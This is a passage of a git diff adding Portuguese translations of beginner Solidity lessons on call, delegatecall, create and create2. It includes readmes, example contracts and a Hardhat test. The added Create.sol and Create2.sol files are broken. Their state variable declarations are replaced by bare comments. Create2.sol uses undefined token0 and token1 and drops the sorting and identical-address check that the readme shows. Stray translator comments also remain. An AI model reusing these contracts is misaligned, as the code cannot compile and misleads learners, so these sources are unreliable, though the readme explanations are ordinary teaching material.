b/Languages/pt-br/22_Call/img/22-1.png new file mode 100644 index 000000000..c4c0de73c Binary files /dev/null and b/Languages/pt-br/22_Call/img/22-1.png differ diff --git a/Languages/pt-br/22_Call/img/22-2.png b/Languages/pt-br/22_Call/img/22-2.png new file mode 100644 index 000000000..e6c975baa Binary files /dev/null and b/Languages/pt-br/22_Call/img/22-2.png differ diff --git a/Languages/pt-br/22_Call/img/22-3.png b/Languages/pt-br/22_Call/img/22-3.png new file mode 100644 index 000000000..3c92a1f34 Binary files /dev/null and b/Languages/pt-br/22_Call/img/22-3.png differ diff --git a/Languages/pt-br/22_Call/readme.md b/Languages/pt-br/22_Call/readme.md new file mode 100644 index 000000000..6c164352c --- /dev/null +++ b/Languages/pt-br/22_Call/readme.md @@ -0,0 +1,152 @@ +# 22. Chamada + +Eu recentemente tenho revisado meus conhecimentos em Solidity para reforçar os detalhes, e estou escrevendo um "Guia WTF de Introdução Simples ao Solidity" para iniciantes (programadores experientes podem buscar outros tutoriais), com atualizações semanais de 1 a 3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo código e tutorial estão disponíveis no github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nós já introduzimos o uso do `call` para enviar `ETH` na [Liçăo 20: Enviando ETH](../20_SendETH). Nesta lição, vamos explorar como utilizar o `call` para chamar funções de contratos. + +## Call + +O `call` é uma função de membro de tipo `address` que permite a interação com outros contratos. Seu retorno é do tipo `(bool, bytes memory)`, indicando respectivamente se a chamada foi bem-sucedida e o valor de retorno da função alvo. + +- O `call` é recomendado oficialmente pela Solidity para enviar `ETH` ativando funções `fallback` ou `receive`. +- Não é recomendado usar o `call` para chamar funções de outros contratos, pois ao fazer isso, você está dando controle ao contrato alvo. A maneira recomendada é declarar a variável do contrato e chamar a função, conforme visto na [Liçăo 21: Chamar Contrato](../21_CallContract). +- Quando não temos o código fonte ou o `ABI` do contrato alvo, não podemos criar a variável do contrato; nesse caso, ainda podemos chamar a função do contrato alvo utilizando o `call`. + +### Regras de uso do `call` + +As regras de uso do `call` são as seguintes: + +```text +enderecoContratoAlvo.call(bytecode); +``` + +O `bytecode` é obtido usando a função de codificação estruturada `abi.encodeWithSignature`: + +```text +abi.encodeWithSignature("nomeDaFuncao(tipoParametro)", parametrosSeparadosPorVírgula) +``` + +O "nomeDaFuncao(tipoParametro)" é a "assinatura da função" como por exemplo `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`. + +Além disso, ao chamar o contrato utilizando o `call`, é possível especificar a quantidade de `ETH` e de `gas` a enviar na transação: + +```text +enderecoContratoAlvo.call{value:valor, gas:quantidadeGas}(bytecode); +``` + +Parece um pouco complexo, então vamos ver um exemplo de aplicação do `call`. + +### Contrato Alvo + +Primeiramente, vamos escrever um contrato simples chamado `OtherContract` e implantá-lo. O código é praticamente o mesmo da lição 21, com a adição de uma função `fallback`. + +```solidity +contract OtherContract { + uint256 private _x = 0; // variável de estado x + // evento para quando recebe ETH, registra o valor e o gas + event Log(uint amount, uint gas); + + fallback() external payable{} + + // retorna o saldo de ETH do contrato + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // função ajusta o valor da variável de estado _x e pode enviar ETH para o contrato (pagável) + function setX(uint256 x) external payable{ + _x = x; + // se enviar ETH, dispara o evento Log + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // lê o valor de x + function getX() external view returns(uint x){ + x = _x; + } +} +``` + +Este contrato possui uma variável de estado `x`, um evento `Log` que é acionado ao receber `ETH`, e três funções: + +- `getBalance()`: retorna o saldo de ETH do contrato. +- `setX()`: função `external payable` que permite ajustar o valor de `x` e enviar `ETH` para o contrato. +- `getX()`: retorna o valor de `x`. + +### Chamando o contrato alvo + +#### 1. Evento de Resposta + +Vamos criar uma função `Response` para chamar as funções do contrato alvo. Primeiro, definimos um evento `Response` que exibe o `success` e `data` da chamada, permitindo-nos verificar os resultados. + +```solidity +// Definir evento Response para exibir o sucesso e os dados da chamada +event Response(bool success, bytes data); +``` + +#### 2. Chamando a função setX + +Definimos a função `callSetX` para chamar a função `setX()` do contrato alvo, enviando a quantidade de `ETH` recebida e emitindo o evento `Response` para exibir o `success` e `data`. + +```solidity +function callSetX(address payable _addr, uint256 x) public payable { + // Chamando setX() e enviando ETH + (bool success, bytes memory data) = _addr.call{value: msg.value}( + abi.encodeWithSignature("setX(uint256)", x) + ); + + emit Response(success, data); // Emite o evento +} +``` + +Em seguida, chamamos o `callSetX` para definir a variável `_x` como 5, passando o endereço do contrato `OtherContract` e o valor `5`. Como a função alvo `setX()` não possui valor de retorno, o `data` retornado no evento `Response` será `0x`, o que representa um valor vazio. + +#### 3. Chamando a função getX + +Agora, vamos chamar a função `getX()`, que retornará o valor da variável `_x` do contrato alvo. Utilizamos o `abi.decode` para decodificar o `data` retornado pelo `call` e obter o valor numérico. + +```solidity +function callGetX(address _addr) external returns(uint256){ + // Chamando getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("getX()") + ); + + emit Response(success, data); // Emite o evento + return abi.decode(data, (uint256)); +} +``` + +O valor de retorno do `getX()` é mostrado no evento `Response`, sendo representado em hexadecimal (`0x0000000000000000000000000000000000000000000000000000000000000005`). Depois de decodificar esse valor, obtemos o número `5`. + +#### 4. Chamando uma função inexistente + +Se chamarmos uma função que não existe no contrato alvo, o `fallback` do contrato será acionado. + +```solidity +function callNonExist(address _addr) external{ + // Chamando uma função inexistente + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("foo(uint256)") + ); + + emit Response(success, data); // Emite o evento +} +``` + +Neste exemplo, chamamos a função inexistente `foo`. O `call` ainda é bem-sucedido e retorna `success`, no entanto, na verdade, está chamando a função de `fallback` do contrato alvo. + +## Conclusão + +Nesta lição, aprendemos como usar o `call`, uma função de baixo nível, para chamar funções de outros contratos. Embora não seja a maneira recomendada de chamar contratos devido aos riscos de segurança, o `call` é útil quando não temos o código fonte ou o `ABI` do contrato alvo. + diff --git a/Languages/pt-br/23_Delegatecall/Delegatecall.sol b/Languages/pt-br/23_Delegatecall/Delegatecall.sol new file mode 100644 index 000000000..527a0354c --- /dev/null +++ b/Languages/pt-br/23_Delegatecall/Delegatecall.sol @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// delegatecall e call são funções de baixo nível semelhantes. +// chamada: B chama C, o contexto é C (msg.sender = B, as variáveis de estado em C são afetadas) +// delegatecall: B delegatecall C, contexto é B (msg.sender = A, variáveis de estado em B são afetadas) +// Atenção: o layout de armazenamento dos dados de B e C deve ser o mesmo! Os tipos de variáveis e a ordem de declaração devem ser os mesmos, caso contrário o contrato será comprometido. + +// Contrato C chamado +contract C { + uint public num; + address public sender; + + function setVars(uint _num) public payable { + num = _num; + sender = msg.sender; + } +} + +// Contrato B que faz uma chamada delegatecall +contract B { + uint public num; + address public sender; + + // Ao chamar a função setVars() em C usando call, as variáveis de estado do contrato C serão alteradas. + function callSetVars(address _addr, uint _num) external payable{ + // chamar setVars() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } + // Ao chamar a função setVars() de C usando delegatecall, a variável de estado do contrato B será alterada. + function delegatecallSetVars(address _addr, uint _num) external payable{ + // delegatecall setVars() + (bool success, bytes memory data) = _addr.delegatecall( + abi.encodeWithSignature("setVars(uint256)", _num) + ); + } +} diff --git a/Languages/pt-br/23_Delegatecall/img/23-1.png b/Languages/pt-br/23_Delegatecall/img/23-1.png new file mode 100644 index 000000000..6a81b5259 Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-1.png differ diff --git a/Languages/pt-br/23_Delegatecall/img/23-2.png b/Languages/pt-br/23_Delegatecall/img/23-2.png new file mode 100644 index 000000000..9305fe669 Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-2.png differ diff --git a/Languages/pt-br/23_Delegatecall/img/23-3.png b/Languages/pt-br/23_Delegatecall/img/23-3.png new file mode 100644 index 000000000..ee82ce79e Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-3.png differ diff --git a/Languages/pt-br/23_Delegatecall/img/23-4.png b/Languages/pt-br/23_Delegatecall/img/23-4.png new file mode 100644 index 000000000..408669bf8 Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-4.png differ diff --git a/Languages/pt-br/23_Delegatecall/img/23-5.png b/Languages/pt-br/23_Delegatecall/img/23-5.png new file mode 100644 index 000000000..1988c9d6f Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-5.png differ diff --git a/Languages/pt-br/23_Delegatecall/img/23-6.png b/Languages/pt-br/23_Delegatecall/img/23-6.png new file mode 100644 index 000000000..f073fdd1a Binary files /dev/null and b/Languages/pt-br/23_Delegatecall/img/23-6.png differ diff --git a/Languages/pt-br/23_Delegatecall/readme.md b/Languages/pt-br/23_Delegatecall/readme.md new file mode 100644 index 000000000..c06fa2409 --- /dev/null +++ b/Languages/pt-br/23_Delegatecall/readme.md @@ -0,0 +1,131 @@ +## 23. Delegatecall + +Recentemente, tenho revisitado o Solidity para consolidar alguns detalhes e escrever um "Guia de Introdução ao Solidity" para iniciantes (os mestres em programação podem procurar por outro tutorial), com atualizações semanais de 1 a 3 artigos. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## `Delegatecall` + +O `delegatecall` é uma função de baixo nível do tipo `address` em Solidity, semelhante ao `call`. Se `delegate` significa delegação/representação, então o que o `delegatecall` está delegando? + +Quando o usuário `A` chama o contrato `B` para chamar o contrato `C`, a função executada é a do contrato `C`, e o `contexto` é do contrato `C`: `msg.sender` é o endereço de `B`, e se a função alterar variáveis de estado, os efeitos serão aplicados às variáveis do contrato `C`. + +Enquanto, ao usar o `delegatecall` do usuário `A` no contrato `B` para chamar o contrato `C`, a função executada ainda é a do contrato `C`, mas o `contexto` continua sendo do contrato `B`: `msg.sender` é o endereço de `A`, e as alterações nas variáveis de estado serão aplicadas ao contrato `B`. + +Podemos entender da seguinte maneira: um investidor (usuário `A`) confia seus ativos (variáveis de estado do contrato `B`) a um agente de investimento de risco (contrato `C`) para administrar. A função executada é do agente de investimento de risco, mas as alterações afetam os ativos. + +A sintaxe do `delegatecall` é semelhante à do `call`: + +```solidity +enderecoDoContratoAlvo.delegatecall(códigoBinário); +``` + +O `códigoBinário` é obtido utilizando a função de codificação estruturada `abi.encodeWithSignature`: + +```solidity +abi.encodeWithSignature("assinaturaDaFunção", parâmetrosSeparadosPorVírgulas) +``` + +A `assinaturaDaFunção` é `"nomeDaFunção(tiposDeParâmetrosSeparadosPorVírgulas)"`, por exemplo, `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`. + +Diferentemente do `call`, o `delegatecall` pode definir a quantidade de `gas` a ser enviado na transação, mas não pode definir a quantidade de ETH. + +> **Atenção**: O `delegatecall` possui riscos de segurança. Deve-se garantir que a estrutura de armazenamento de variáveis de estado dos contratos atual e de destino seja a mesma, e que o contrato de destino seja seguro, caso contrário, pode resultar em perda de ativos. + +## Quando usar o `delegatecall`? + +Atualmente, o `delegatecall` é principalmente utilizado em dois cenários: + +1. Contrato de Procuração (`Proxy Contract`): separa o armazenamento de variáveis e a lógica do contrato. O contrato de Procuração (`Proxy Contract`) armazena todas as variáveis pertinentes e mantém o endereço da lógica do contrato; todas as funções estão dentro do contrato de lógica (`Logic Contract`), sendo executadas por meio de `delegatecall`. Para atualizar, basta direcionar o contrato de Procuração para o novo contrato de lógica. + +2. Diamantes EIP-2535: Diamantes são contratos de procuração com múltiplos contratos de implementação. Para mais informações, consulte: [Introdução ao Padrão Diamante](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard). + +## Exemplo do `delegatecall` + +Chamada: Você (`A`) chama o contrato `B` para chamar o contrato de destino `C`. + +### Contrato de Destino C + +Primeiramente, vamos escrever um contrato de destino `C` simples: com duas variáveis públicas `num` e `sender', sendo `uint256` e `address`, respectivamente; uma função que define `num` como o valor recebido em `_num` e define `sender` como `msg.sender`. + +```solidity +// Contrato de Destino C +contract C { + uint public num; + address public sender; + + function setVars(uint _num) public payable { + num = _num; + sender = msg.sender; + } +} +``` + +### Contrato Chamar B + +Em seguida, o contrato `B` deve ter a mesma estrutura de armazenamento de variáveis do contrato de destino `C`, com duas variáveis e na mesma ordem: `num` e `sender`. + +```solidity +contract B { + uint public num; + address public sender; +} +``` + +Agora, vamos chamar a função `setVars` do contrato `C` usando `call` e `delegatecall` para entender melhor as diferenças. + +A função `callSetVars` chama o `setVars` usando `call`. Ela recebe dois parâmetros, `_addr` e `_num`, correspondentes ao endereço do contrato `C` e ao parâmetro do `setVars`. + +```solidity +// Chama o setVars() do contrato C usando a função call, modificando as variáveis de estado do contrato C +function callSetVars(address _addr, uint _num) external payable { + // chamar setVars() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("setVars(uint256)", _num) + ); +} +``` + +Já a função `delegatecallSetVars` chama o `setVars` usando `delegatecall`. Assim como a função `callSetVars`, ela recebe dois parâmetros, `_addr` e `_num`, correspondentes ao endereço do contrato `C` e ao parâmetro do `setVars`. + +```solidity +// Chama o setVars() do contrato C usando delegatecall, modificando as variáveis de estado do contrato B +function delegatecallSetVars(address _addr, uint _num) external payable { + // delegatecall setVars() + (bool success, bytes memory data) = _addr.delegatecall( + abi.encodeWithSignature("setVars(uint256)", _num) + ); +} +``` + +### Verificação no Remix + +1. Primeiro, implantamos os contratos `B` e `C`. + + ![deploy.png](./img/23-1.png) +2. Após a implantação, verificamos os valores iniciais das variáveis de estado do contrato `C`, que também são os mesmos para o contrato `B`. + + ![initialstate.png](./img/23-2.png) +3. Em seguida, executamos a função `callSetVars` do contrato `B`, passando o endereço do contrato `C` e `10`. + + ![call.png](./img/23-3.png) +4. Após a execução, as variáveis de estado do contrato `C` são alteradas: `num` é definido como `10` e `sender` é o endereço do contrato `B`. + + ![resultcall.png](./img/23-4.png) +5. Agora, executamos a função `delegatecallSetVars` do contrato `B`, passando o endereço do contrato `C` e `100`. + + ![delegatecall.png](./img/23-5.png) +6. Devido ao `delegatecall`, o contexto é do contrato `B`. Após a execução, as variáveis de estado do contrato `B` serão alteradas: `num` é definido como `100` e `sender` é o endereço da sua carteira. As variáveis de estado do contrato `C` não serão modificadas. + + ![resultdelegatecall.png](./img/23-6.png) + +## Conclusão + +Neste artigo, exploramos a função `delegatecall`, mais um recurso de baixo nível em Solidity. Semelhante ao `call`, o `delegatecall` é usado para chamar outros contratos, com a diferença sendo o contexto de execução: `B chama C`, o contexto é `C`; enquanto `B delegatecall C`, o contexto é `B`. Atualmente, a principal aplicação do `delegatecall` é em contratos de procuração e nos Diamantes EIP-2535. + diff --git a/Languages/pt-br/24_Create/Create.sol b/Languages/pt-br/24_Create/Create.sol new file mode 100644 index 000000000..6de603761 --- /dev/null +++ b/Languages/pt-br/24_Create/Create.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Pair{ + // Endereço do contrato da fábrica + // Token 1 + // Token 2 + + constructor() payable { + factory = msg.sender; + } + + // chamado uma vez pela fábrica no momento da implantação + function initialize(address _token0, address _token1) external { + // verificação suficiente + token0 = _token0; + token1 = _token1; + } +} + +contract PairFactory{ + // Traduzindo o texto para 'pt-br': + // Encontre o endereço do par através de dois endereços de tokens + + function createPair(address tokenA, address tokenB) external returns (address pairAddr) { + // Criar novo contrato + Pair pair = new Pair(); + // Chamando o método initialize do novo contrato + pair.initialize(tokenA, tokenB); + // Atualizando mapa de endereços + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} diff --git a/Languages/pt-br/24_Create/img/24-1.png b/Languages/pt-br/24_Create/img/24-1.png new file mode 100644 index 000000000..603a9b72c Binary files /dev/null and b/Languages/pt-br/24_Create/img/24-1.png differ diff --git a/Languages/pt-br/24_Create/img/24-2.png b/Languages/pt-br/24_Create/img/24-2.png new file mode 100644 index 000000000..973c8baa2 Binary files /dev/null and b/Languages/pt-br/24_Create/img/24-2.png differ diff --git a/Languages/pt-br/24_Create/img/24-3.png b/Languages/pt-br/24_Create/img/24-3.png new file mode 100644 index 000000000..9722f921d Binary files /dev/null and b/Languages/pt-br/24_Create/img/24-3.png differ diff --git a/Languages/pt-br/24_Create/readme.md b/Languages/pt-br/24_Create/readme.md new file mode 100644 index 000000000..903eda3cc --- /dev/null +++ b/Languages/pt-br/24_Create/readme.md @@ -0,0 +1,108 @@ +# WTF Introdução Simplificada ao Solidity: 24. Criando Novos Contratos em um Contrato + +Recentemente, tenho revisado meus conhecimentos em Solidity para consolidar os detalhes e escrever um "Guia de Introdução Simplificado ao Solidity" para iniciantes (os especialistas podem procurar outros tutoriais). Estarei publicando de 1 a 3 sessões por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site Oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Na cadeia de blocos Ethereum, os usuários (contas externas, `EOA`) podem criar contratos inteligentes, e os contratos inteligentes também podem criar novos contratos. A exchange descentralizada `Uniswap` utiliza um contrato de fábrica (`PairFactory`) para criar inúmeros contratos de par (`Pair`). Nesta sessão, vou explicar como criar contratos dentro de um contrato usando o método `create`. + +## Método `create` + +Existem duas formas de criar novos contratos dentro de um contrato, `create` e `create2`. Neste caso, falarei sobre o `create`, e na próxima sessão abordaremos o `create2`. + +O uso do `create` é simples, basta usar `new` em um contrato e passar os parâmetros necessários para o construtor do novo contrato: + +```solidity +Contract x = new Contract{value: _value}(params) +``` + +Onde `Contract` é o nome do contrato a ser criado, `x` é o objeto do contrato (endereço), e caso o construtor seja `payable`, é possível enviar uma quantidade `_value` de `ETH` durante a criação, e `params` são os parâmetros necessários para o construtor do novo contrato. + +## Uniswap Simplificado + +O core do contrato do `Uniswap V2` contém dois contratos: + +1. UniswapV2Pair: contrato de par, usado para gerenciar endereços de pares, liquidez, compras e vendas. +2. UniswapV2Factory: contrato de fábrica, utilizado para criar novos pares e gerenciar seus endereços. + +Abaixo, vou mostrar como criar uma versão simplificada do `Uniswap`: o contrato `Pair` gerencia os endereços dos pares, e o contrato `PairFactory` cria novos pares e gerencia seus endereços. + +### Contrato `Pair` + +```solidity +contract Pair{ + address public factory; + address public token0; + address public token1; + + constructor() payable { + factory = msg.sender; + } + + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); + token0 = _token0; + token1 = _token1; + } +} +``` + +O contrato `Pair` é simples, contendo 3 variáveis de estado: `factory`, `token0` e `token1`. + +O construtor `constructor` define o endereço da fábrica quando o contrato é implantado. A função `initialize` é chamada manualmente pela fábrica após a implantação para inicializar os endereços dos tokens, atualizando `token0` e `token1`. + +### Contrato `PairFactory` + +```solidity +contract PairFactory{ + mapping(address => mapping(address => address)) public getPair; + address[] public allPairs; + + function createPair(address tokenA, address tokenB) external returns (address pairAddr) { + Pair pair = new Pair(); + pair.initialize(tokenA, tokenB); + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} +``` + +O contrato de fábrica `PairFactory` possui duas variáveis de estado: `getPair`, um mapeamento de dois endereços de tokens para o endereço do par, e `allPairs`, um array dos endereços dos pares. + +O contrato `PairFactory` tem apenas uma função, `createPair`, que cria um novo par com base nos endereços dos tokens `tokenA` e `tokenB`. Na linha + +```solidity +Pair pair = new Pair(); +``` + +o novo contrato é criado de forma simples. Você pode implantar o contrato `PairFactory` e usá-lo com os dois endereços abaixo para ver qual é o endereço do par criado: + +```text +Endereço do WBNB: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 +Endereço do PEOPLE na BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +``` + +### Verificação no Remix + +1. Chame a função `createPair` com os endereços do `WBNB` e do `PEOPLE` como parâmetros para obter o endereço do `Pair`: 0xD3e2008b4Da2cD6DEAF73471590fF30C86778A48 + + ![24-1](./img/24-1.png) +2. Verifique as variáveis do contrato `Pair` + + ![24-2](./img/24-2.png) +3. Debugue o código de `create` + + ![24-3](./img/24-3.png) + +## Conclusão + +Nesta sessão, explicamos como usar o método `create` para criar contratos dentro de um contrato, usando um exemplo simplificado do `Uniswap`. Na próxima sessão, abordaremos o método `create2` para implementar uma versão simplificada do `Uniswap`. + diff --git a/Languages/pt-br/25_Create2/Create2.sol b/Languages/pt-br/25_Create2/Create2.sol new file mode 100644 index 000000000..48e26d8de --- /dev/null +++ b/Languages/pt-br/25_Create2/Create2.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Pair{ + // Endereço do contrato da fábrica + // Token 1 + // Token 2 + + constructor() payable { + factory = msg.sender; + } + + // chamado uma vez pela fábrica no momento da implantação + function initialize(address _token0, address _token1) external { + // verificação suficiente + token0 = _token0; + token1 = _token1; + } +} + +contract PairFactory2{ + // Traduzindo o texto para 'pt-br': + // Encontre o endereço do par através de dois endereços de tokens + + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + //Evite conflitos entre tokenA e tokenB se forem iguais + // Calcular o salt usando os endereços tokenA e tokenB + //Ordenar tokenA e tokenB em ordem crescente + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // Use create2 to deploy a new contract + Pair pair = new Pair{salt: salt}(); + // Chamando o método initialize do novo contrato + pair.initialize(tokenA, tokenB); + // Atualizando mapa de endereços + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } + + // Calcular antecipadamente o endereço do contrato pair + function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + //Evite conflitos entre tokenA e tokenB se forem iguais + // Calcular o salt usando os endereços tokenA e tokenB + //Ordenar tokenA e tokenB em ordem crescente + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calcular o endereço do contrato usando o método hash() + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); + } +} diff --git a/Languages/pt-br/25_Create2/create2test.js b/Languages/pt-br/25_Create2/create2test.js new file mode 100644 index 000000000..b9b686cce --- /dev/null +++ b/Languages/pt-br/25_Create2/create2test.js @@ -0,0 +1,34 @@ +const { expect } = require("chai"); +const { ethers } = require("hardhat"); + +describe("create2 test", function () { + it("Should return the new create2test once it's changed", async function () { + console.log("1.==> implantar par") + const PairFactory = await ethers.getContractFactory("Pair"); + const Pair = await PairFactory.deploy(); + await Pair.waitForDeployment(); + console.log("par endereço =>", Pair.target) + + console.log() + console.log("2.==> implantar PairFactory2") + const PairFactory2Factory = await ethers.getContractFactory("PairFactory2"); + const PairFactory2 = await PairFactory2Factory.deploy(); + await PairFactory2.waitForDeployment(); + console.log("Endereço do PairFactory2 =>", PairFactory2.target) + + console.log("3.==> calcularEndereço para pessoas wbnb") + const WBNBAddress = "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"; + const PEOPLEAddress = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"; + + let predictedAddress = await PairFactory2.calculateAddr(WBNBAddress, PEOPLEAddress); + console.log("endereço previsto =>", predictedAddress) + + console.log("4.==> criarPar2 para pessoas wbnb") + await PairFactory2.createPair2(WBNBAddress, PEOPLEAddress); + let createPair2Address = await PairFactory2.allPairs(0); + console.log("createPair2Address address =>", createPair2Address) + + expect(createPair2Address).to.equal(predictedAddress); + + }); +}); diff --git a/Languages/pt-br/25_Create2/img/25-1.png b/Languages/pt-br/25_Create2/img/25-1.png new file mode 100644 index 000000000..a116f9054 Binary files /dev/null and b/Languages/pt-br/25_Create2/img/25-1.png differ diff --git a/Languages/pt-br/25_Create2/img/25-2.jpg b/Languages/pt-br/25_Create2/img/25-2.jpg new file mode 100644 index 000000000..57cff64ad Binary files /dev/null and b/Languages/pt-br/25_Create2/img/25-2.jpg differ diff --git a/Languages/pt-br/25_Create2/readme.md b/Languages/pt-br/25_Create2/readme.md new file mode 100644 index 000000000..108b361fe --- /dev/null +++ b/Languages/pt-br/25_Create2/readme.md @@ -0,0 +1,165 @@ +# WTF Solidity Simplificado: 25. CREATE2 + +Recentemente, tenho revisado meus conhecimentos em Solidity para reforçar os detalhes e criar um guia "WTF Solidity Simplificado" para iniciantes (programadores avançados podem procurar outros tutoriais). A atualização é feita semanalmente com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site wtf.academy](https://wtf.academy) + +Todo código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## CREATE2 + +O opcode `CREATE2` nos permite prever o endereço de um contrato antes de implantá-lo na rede Ethereum. O `Uniswap` utiliza o `CREATE2` para criar contratos de pares, em vez do `CREATE`. Nesta lição, vou explicar o uso do `CREATE2`. + +### Como é calculado o endereço com CREATE + +Os contratos inteligentes podem ser criados por outros contratos ou contas normais usando o opcode `CREATE`. Em ambos os casos, o endereço do novo contrato é calculado da mesma maneira: pelo hash do endereço do criador (normalmente o endereço da carteira de implantação ou o endereço do contrato) e do nonce (o número total de transações enviadas desse endereço, no caso de um contrato é o total de contratos criados, incrementando o nonce a cada criação de contrato). + +```text +Novo endereço = hash(endereço do criador, nonce) +``` + +O endereço do criador não muda, mas o nonce pode mudar ao longo do tempo, o que torna difícil prever o endereço de um contrato criado com `CREATE`. + +### Como é calculado o endereço com CREATE2 + +O `CREATE2` foi projetado para permitir que o endereço do contrato seja independente de eventos futuros. Não importa o que aconteça na blockchain no futuro, você pode implantar o contrato em um endereço previamente calculado. O endereço do contrato criado com `CREATE2` é determinado por quatro partes: + +- `0xFF`: uma constante para evitar conflitos com o `CREATE` +- `EndereçoCriador`: o endereço do contrato atual que chama o `CREATE2` +- `salt` (sal): um valor `bytes32` especificado pelo criador, usado para influenciar o endereço do novo contrato +- `initcode`: o bytecode inicial do novo contrato (código de criação do contrato e parâmetros do construtor) + +```text +Novo endereço = hash("0xFF", EndereçoCriador, salt, initcode) +``` + +O `CREATE2` garante que, se o criador usar `CREATE2` com um `salt` e o `initcode` do contrato específicos, o contrato será armazenado no `novo endereço`. + +## Como usar o `CREATE2` + +A sintaxe do `CREATE2` é semelhante à do `CREATE` mencionada anteriormente. Você simplesmente precisa instanciar um novo contrato passando o parâmetro `salt` adicional: + +```solidity +Contract x = new Contract{salt: _salt, value: _value}(params) +``` + +Onde `Contract` é o nome do contrato a ser criado, `x` é o objeto do contrato (endereço), `_salt` é o sal especificado; se o construtor aceitar ETH no momento da criação, você pode transferir `_value` ETH durante a criação, `params` são os parâmetros necessários para o construtor do novo contrato. + +## Uniswap2 Simplificado + +Semelhante à lição anterior, vamos usar o `CREATE2` para implementar uma versão simplificada do `Uniswap`. + +### `Pair` + +```solidity +contract Pair { + address public factory; // endereço do contrato de fábrica + address public token0; // token 1 + address public token1; // token 2 + + constructor() payable { + factory = msg.sender; + } + + // chamado uma vez pela fábrica no momento da implantação + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // verificação suficiente + token0 = _token0; + token1 = _token1; + } +} +``` + +O contrato `Pair` é simples e contém 3 variáveis de estado: `factory`, `token0` e `token1`. + +O construtor `constructor` define o endereço da fábrica como sendo o remetente da mensagem na implantação. A função `initialize` é chamada uma vez pela fábrica no momento da criação do contrato `Pair`, atualizando `token0` e `token1` com os endereços dos dois tokens do par. + +### `PairFactory2` + +```solidity +contract PairFactory2 { + mapping(address => mapping(address => address)) public getPair; // mapeia dois endereços de tokens para o endereço do par + address[] public allPairs; // armazena todos os endereços dos pares + + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); // evita endereços idênticos + // calcula o salt com os endereços tokenA e tokenB + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // ordena os tokens em ordem crescente + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // implanta um novo contrato usando create2 + Pair pair = new Pair{salt: salt}(); + // chama o método initialize do novo contrato + pair.initialize(tokenA, tokenB); + // atualiza o mapa de endereços + pairAddr = address(pair); + allPairs.push(pairAddr); + 